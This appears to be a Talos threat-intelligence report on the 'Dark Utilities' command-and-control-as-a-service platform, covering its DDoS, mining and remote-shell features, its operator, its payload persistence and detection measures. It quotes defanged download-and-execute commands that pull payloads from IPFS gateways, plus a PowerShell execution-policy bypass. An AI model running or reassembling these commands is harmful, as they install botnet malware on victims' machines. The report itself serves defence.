- Dark Utilities, released in early 2022, is a platform that provides full-featured C2 capabilities to adversaries.
- It is marketed as a means to enable remote access, command execution, distributed denial-of-service (DDoS) attacks and cryptocurrency mining operations on infected systems.
- Payloads provided by the platform support Windows, Linux and Python-based implementations and are hosted within the Interplanetary File System (IPFS), making them resilient to content moderation or law enforcement intervention.
- Since its initial release, we've observed malware samples in the wild leveraging it to facilitate remote access and cryptocurrency mining.
What is "Dark Utilities?"
In early 2022, a new C2 platform called "Dark Utilities" was established, offering a variety of services such as remote system access, DDoS capabilities and cryptocurrency mining. The operators of the service also established Discord and Telegram communities where they provide technical support and assistance for customers on the platform.
Dark Utilities provides payloads consisting of code that is executed on victim systems, allowing them to be registered with the service and establish a command and control (C2) communications channel. The platform currently supports Windows, Linux and Python-based payloads, allowing adversaries to target multiple architectures without requiring significant development resources. During our analysis, we observed efforts underway to expand OS and system architecture support as the platform continues to see ongoing development activities occurring.
The platform, hosted on the clear internet and Tor network, offers premium access to the platform, associated payloads and API endpoints for 9.99 euros. At the time of writing, the platform had enrolled roughly 3,000 users, which is approximately 30,000 euros in income. Given the relatively low cost compared to the amount of functionality the platform offers, it is likely attractive to adversaries attempting to compromise systems without requiring them to create their own C2 implementation within their malware payloads.
Almost immediately, we observed malware samples using this service in the wild as a way to establish C2 communications channels and establish remote access capabilities on infected systems. We've observed malware targeted Windows and Linux systems leveraging Dark Utilities.
Dark Utilities platform functionality
The Dark Utilities platform leverages Discord for user authentication. Once authenticated, users are presented with a dashboard displaying various statistics about the platform, server health status and other metrics.
To register new bots with the service, a payload must be generated and deployed on victim machines. At the time of writing, the platform supports several operating systems, as shown in the payload selection drop-down below.
Selecting an operating system causes the platform to generate a command string that threat actors are typically embedding into PowerShell or Bash scripts to facilitate the retrieval and execution of the payload on victim machines. An example of this for a payload targeting the Windows operating system is shown below.
cd %userprofile%\Documents && mkdir Steam && cd .\Steam && curl hxxps[:]//ipfs[.]infura[.]io/ipfs/QmRLaPCGa2HZTxMPQxU2VnB9qda3mUv21TXrjbMNqkxN6Z >> launcher.exe && .\launcher.exe [ACCOUNT_STRING_PARAMETER]
For Linux-based payloads, an example command string is:
cd /tmp/;curl hxxps[:]//ipfs[.]infura[.]io/ipfs/QmVwqSG7TGceZJ6MWnKgYkiyqnW4qTTRq61ADDfMJaPEoG > ./tcp-client;chmod +x tcp-client; ./tcp-client [ACCOUNT_STRING_PARAMETER]
Recently, the platform added support for other architectures such as ARM64 and ARMV71, which they describe as being useful for targeting various embedded devices such as routers, phones and internet-of-things (IoT) devices, as shown below.
The use of IPFS for hosting the payload binaries provides resilience against content moderation or takedowns, as IPFS is a distributed, peer-to-peer network explicitly designed to prevent centralized authorities from taking action on content hosted there. IPFS supports the use of IPFS gateways, which operate similar to Tor2Web gateways in that they allow users on the internet to access contents hosted within IPFS without requiring a client application to be installed. We have observed adversaries increasingly making use of this infrastructure for payload hosting and retrieval as it effectively provides "bulletproof hosting." A public list of IPFS gateways that are maintained is below.
For administering bots that have been registered with the Dark Utilities platform, a "Manager" administrative panel is provided. The panel lists the systems under the account's control and provides several built-in modules for using them to conduct denial-of-service attacks, perform cryptocurrency mining, and execute commands across systems under their control.
The platform provides built-in interfaces to conduct two different types of DDoS attacks, both of which support multiple methods. Layer 4 supports TCP, UDP and ICMP, as well as a variety specifically designed for various gaming platforms such as Teamspeak3, Fivem, GMOD and Valve, along with specific video games like "Counter Strike: Global Offensive" and "Among Us." Layer 7 supports the GET, POST, HEAD, PATCH, PUT, DELETE, OPTIONS and CONNECT methods. The interface contains forms for configuring Layer 4 and Layer 7 DDoS attacks respectively, as shown below.
The cryptocurrency mining functionality leverages pool[.]hashvault[.]pro for Monero mining and simply requires that the adversary's Monero wallet address be provided.
The platform also provides distributed command execution as well as a Discord grabber that can be run against large numbers of systems simultaneously.
Once an infected system has established an active C2 channel, the adversary obtains full access to the system in the context of the compromised user account. An interactive PowerShell prompt is provided directly within the admin panel.
A built-in Python interpreter allows adversaries to define Python scripts to be executed on systems under their control from within the admin panel itself.
The platform also exposes a REST API that can automate the administration of compromised systems.
Example code is provided for instructing compromised systems to conduct DDoS attacks against targets.
The marketing and rules associated with the use of the platform appear to attempt to minimize liability for the platform operators by staying within legal gray areas with regard to the use of the platform for illegal or illicit purposes.
The documentation provided by the platform, however, also provides step-by-step instructions for conducting reconnaissance, identifying vulnerabilities and exploiting them to "infect servers" for use in a botnet.
Given the low cost associated with the platform and the amount of functionality it provides, it is likely that this will continue to be increasingly popular with threat actors seeking to build botnets without requiring significant amounts of time and effort to develop their own malware.
Who is behind Dark Utilities?
Dark Utilities appears to have been created and is currently managed by a persona that goes under the moniker Inplex-sys. Looking closer into the history of that persona, Talos found several instances where they claimed to be a French speaker, although we observed inplex-sys communicating in English, too. The inplex-sys persona does not have a long history in the cybercriminal underground space. Aside from a brief interaction on the Hack Forums platform, inplex-sys has limited their activity to messaging/bot platforms such as Telegram and Discord. Shortly after the platform was launched, we observed inplex-sys advertising it within the Lapsus$ Group — a high-profile actor that recently had several members arrested — Telegram channel.
Talos also found a record for inplex-sys on a doxxing service called Doxbin, which indicated that their location was in Germany. We assess that this Doxbin entry is either incorrect or was intentionally released as a decoy and that they are indeed located in France. Based on limited interaction and other behavioral revelations, it does appear inplex-sys is the main persona behind Dark Utilities, however, there is no indication that they manage and developed it solely by themselves.
We observed the same moniker being used on the video game storefront Steam and advertising the Dark Utilities service and others, with links to their respective websites.
Smart Bot is a bot management platform designed for use in launching spam attacks, or "raids" against the Discord and Twitch communication platforms. These attacks are often conducted to disrupt legitimate communications by flooding the platforms with large quantities of spam messages, which could cost streamers revenue. Demo videos uploaded to YouTube show the tool in action against streamers on Twitch.
The Omega Project purports to be a web panel that can be used to administer servers. They offer a free and paid version of the service. The advertisement displayed on the Omega Project website claims that if the Premium service is purchased, customers' servers will be "secure from all backdoors."
The Smart Bot project lists additional individuals as creators of the project. These individuals appear to have a collaborative relationship with inplex-sys, with one of the Smart Bot creators recently publishing a GitHub repository containing a NodeJS API tool to interact with the Dark Utilities platform.
Dark Utilities payload analysis
The Dark Utilities payloads consist of a Python script that has been compiled into either a Windows PE32+ executable or a Linux ELF executable. We decompiled the binaries to obtain the original Python source code for the payloads.
The Linux payload available during our analysis did not actually require the runtime parameter previously described. If no parameter is specified when the executable is launched, it associates the bot with a default owner, presumably associated with the platform developer.
The Python script contains code for Windows and Linux-based systems and first identifies the architecture of the system it is running on, CPU information and other system details. It then determines if the payload can be updated by communicating with the Dark Utilities API to obtain the latest version information available to compare with the version currently running on the system.
If an updated payload is available, the malware will retrieve it via an IPFS gateway, similar to what was previously described.
Next, the payload attempts to achieve persistence on the system allowing it to execute following system reboots. If the infected system is Windows, the malware will create a Registry run key, as shown below.
If the system is a Linux-compatible system, the malware will attempt to locate and remove any existing Kinsing malware and clear the existing Crontab configuration.
It will then create either a Crontab entry or a Systemd service to ensure that the payload is launched following system reboots.
We observed that in the version analyzed the alphanumeric string associating the system with a specific Dark Utilities account is not defined when persistence mechanisms are established, which results in the malware using the default account string described earlier following system reboots. This issue was observed on both Windows and Linux systems.
The script also contains the code responsible for activating various payload functionality such as cryptocurrency mining, DDoS attacks, etc. If the Monero mining option is deployed, the malware will retrieve XMRig via an IPFS gateway and execute it on the system. The malware uses the Hashvault mining pool and sets a maximum CPU usage value based on the OS of the compromised system.
If Task Manager is launched on the infected machine, the malware attempts to evade detection by terminating the mining process.
The script also defines a class called Attack with subclasses for Layer4 and Layer7 DDoS attack payloads that can be configured and activated via the admin panel previously described. Below are some examples of the payloads defined in the script that target various gaming servers such as "CS:GO," "AmongUs" and TeamSpeak.
The malware uses the following code to handle executing arbitrary system commands using the shell provided in the admin panel. It also supports navigating the filesystem of infected machines via the interface provided by the platform. Python code specified by the adversary can also be executed by the malware payloads.
Malware currently leveraging Dark Utilities
Since the platform was established in early 2022, we have observed a variety of malware samples that leverage Dark Utilities for C2 communications. This includes malware targeting the Windows and Linux operating systems.
In one example, the Stage 1 payload is an executable responsible for dropping a PowerShell script stored within a subfolder of the %TEMP% directory that is also created during Stage 1 execution.
The PowerShell is then executed as follows:
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" –NoProfile -ExecutionPolicy Bypass -File C:\Users\[USERNAME]\AppData\Local\Temp\78E6.tmp\7916.tmp\7956.ps1
The PowerShell is responsible for retrieving the Dark Utilities payload via IPFS and executing it on the system.
An example of the PowerShell syntax used is shown below.
cd C:\Users\$env:UserName\Documents\;mkdir Github;cd C:\Users\$env:UserName\Documents\GitHub\;$uri = ('hxxps[:]//ipfs[.]infura[.]io/ipfs/QmbGk4XnFSY8cn4uHjNq6891uLL1zoPbmTigj7YFyPqA2x');curl $uri -o tcp-client.exe; .\tcp-client.exe M0ImZlMzJldIRzFHcSRIMilAKkkwZi8
The Stage 2 payload (the Dark Utilities Windows payload) is stored within a subdirectory of the Documents folder the PowerShell creates. The payload is then executed and passed the threat actor's alphanumeric string. This results in the system registering under the attacker's Dark Utilities account, granting them full control of the compromised system. In this case, the Dark Utilities platform was accessed via a Tor2Web gateway that enables the infected system to communicate with Dark Utilities without requiring the installation of a Tor client.
We have observed similar implementations targeting other operating systems like Linux, where adversaries are leveraging shell scripts to perform the payload retrieval and execution, similar to the example shown below:
In many cases, the alphanumeric string passed as a parameter differs across samples, which may indicate that multiple distinct threat actors are taking this approach to obtain the C2 on compromised systems. The C2 platform itself has moved across various TLDs over time — we have observed samples attempting to retrieve payloads from the site at various points when it was hosted on the ME, XYZ and PW TLDs.
Although the Dark Utilities platform was recently established, thousands of users have already been enrolled and joined the platform. Given the amount of functionality that the platform provides and the relatively low cost of use, we expect this platform will continue to rapidly expand its user base. This will likely result in an increase in the volume of malware samples in the wild attempting to establish C2 using the platform. Organizations should be aware of these C2aaS platforms and ensure that they have security controls in place to help protect their environments. These platforms provide a variety of sophisticated capabilities to adversaries who may otherwise be unable to develop them on their own. They effectively lower the barrier to entry for cybercriminals entering the threat landscape and enable them to quickly begin launching attacks targeting a variety of operating systems. They also offer multiple methods that can be used to further monetize access gained to systems in corporate environments and could lead to further deployment of malware in the environment once initial access has been obtained.
Ways our customers can detect and block this threat are listed below.
Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.
Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.
Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here.
Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.
Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.
Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network.
Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.
The following Snort SIDs are applicable to this threat: 60319 - 60325.
Cisco Secure Endpoint users can use Orbital Advanced Search to run complex OSqueries to see if their endpoints are infected with this specific threat. For specific OSqueries on this threat, use the following links:
Indicators of Compromise
The following indicators of compromise have been observed associated with malware campaigns leveraging the Dark Utilities platform.
These IOCs can also be found in our Github repository here.